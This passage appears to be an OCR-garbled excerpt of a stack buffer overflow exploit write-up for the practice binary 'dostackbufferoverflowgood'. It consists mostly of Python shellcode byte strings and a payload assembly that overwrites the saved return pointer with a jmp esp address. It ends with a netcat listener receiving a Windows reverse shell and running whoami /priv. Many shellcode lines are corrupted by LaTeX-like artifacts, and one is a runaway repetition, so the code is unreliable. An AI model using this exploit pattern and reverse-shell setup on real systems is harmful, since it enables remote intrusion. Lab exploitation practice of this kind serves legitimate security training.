sc += \text{"} \times 86 \times \text{cd} \times 7a \times 2d \times 69 \times 2d \times 7b \times 52 \times e3 \times c8 \times 4a \times 52 \times 97 \text{"}
sc += "\x99\xfd\x62\xd3\xcf\xf1\x09\xb1\xfb\x82\x7c\x1e\x0c"
sc += \frac{x22}{xca}
                \xb5\xe0\xc5\x4f\xa8\x09\x97\x18\xa6\xbc\x07\x2c\xf2
SC +=
                 \verb| "\x7c\xac\x7e\x12\x05\x51\x36\x15\x24\xc4\x4c\x4c\x4c\x4c\xe6| |
SC +=
sc +=
                "\xe7\x81\xe4\xaf\xff\xc6\xc1\x66\x74\x3c\xbd\x78\x5c"
sc += "\x0c\x3e\xd6\xa1\xa0\xcd\x26\xe6\x07\x2e\x5d\x1e\x74"
sc += "\xd3\x66\xe5\x06\x0f\xe2\xfd\xa1\xc4\x54\xd9\x50\x08\xspace
sc += \frac{x02}{xaa} \times 5f \times 6 \times 40 \times f4 \times 43 \times f8 \times 85 \times 8f \times 71 \times 28
                \xspace{1} x0f\xspace{1} x0f\xspace{1} x91\xspace{1} x2e\xda\xspace{1} x4e\xspace{1} x91\xspace{1} x91\xspace{1}
SC +=
sc += \\ \times 29\times \\ \times 37\times \\ \times 34\times \\ \times 5a\times \\ \times 5a\times \\ \times 62\times \\ \times 64\times \\ \times 9a
sc += "\x9c\xbd\xd7\xa8\x03\x16\x7f\x81\xcc\xb0\x78\xe6\xe6
sc += \frac{x05}{x16}x19\\x09\\x76\\x3f\\xde\\x5d\\x26\\x57\\xf7\\xdd\\xad
sc += "\x^{1}\x^{2}\x^{2}\x^{2}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^{3}\x^
sc += "\x98\x8b\xcb\xce\x72\xa4\x66\x35\x15\x0b\xde\x35\xe7"
sc += "\xe3\x1d\x35\xe6\x48\xa8\xd3\x82\xbe\xfd\x4c\x3b\x26"
sc += \sqrt{xa4} \times 06 \times da \times a7 \times 72 \times 63 \times dc \times 2c \times 71 \times 94 \times 93 \times c4 \times fc
sc += "\x86\x44\x25\x4b\xf4\xc3\x3a\x61\x90\x88\xa9\xee\x60"
sc += \xc6\xd1\xb8\x37\x8f\x24\xb1\xdd\x3d\x1e\x6b\xc3\xbf
```

```
sc += "\xc4\x0c\xe7\xde\x92\xfa\x41\x89\x54\x54\x18\x66\x3f"
sc += \frac{x30}{xdd} \times 44 \times 80 \times 46 \times 22 \times 80 \times 76 \times 36 \times 53 \times 7d \times cf \times d9
sc += "\x5c\xe9\xc7\xa2\x80\x89\x28\x79\x01\xb9\x62\x23\x20"
sc += \frac{x52}{x2b}\times b6\times 70\times 3f\times cc\times 6d\times b6\times 46\times 4f\times 87\times 47\times bd
sc += \frac{x4f}{xe2}\frac{31}{x92}\frac{31}{x92}
# assemble payload --
buf = '
buf += "A"*(offset_srp - len(buf)) # padding
buf += struct.pack("<I", ptr_jmp_esp) # S</pre>
                                                      # SRP overwrite
buf += sub_esp_10 # ESP points here
buf += sc \# payload
buf += "D"*(buf_totalen - len(buf))
                                                    #trailing padding
buf += "\n"
# send the buffer --
s.send(buf)
```

 $sc += "\xc6\x54\x47\x64\x3b\x5a\x46\xe9\x07\x78\x58\x37\x87"$

netcat shell --

0:03:22 cdowns@7242-alpha-reticuli exploit master sudo nc -4 -lnvp 443 Listening on [0.0.0.0] (family 2, port 443) Connection from 192.168.0.139 50700 received! Microsoft Windows [Version 10.0.17134.706] (c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\IEUser\Downloads\dostackbufferoverflowgood>whoami /priv
whoami /priv

PRIVILEGES INFORMATION

Privilege Name	Description	State
=======================================	=======================================	=======
SeShutdownPrivilege	Shut down the system	Disabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeUndockPrivilege	Remove computer from docking station	Disabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Disabled
SeTimeZonePrivilege	Change the time zone	Disabled

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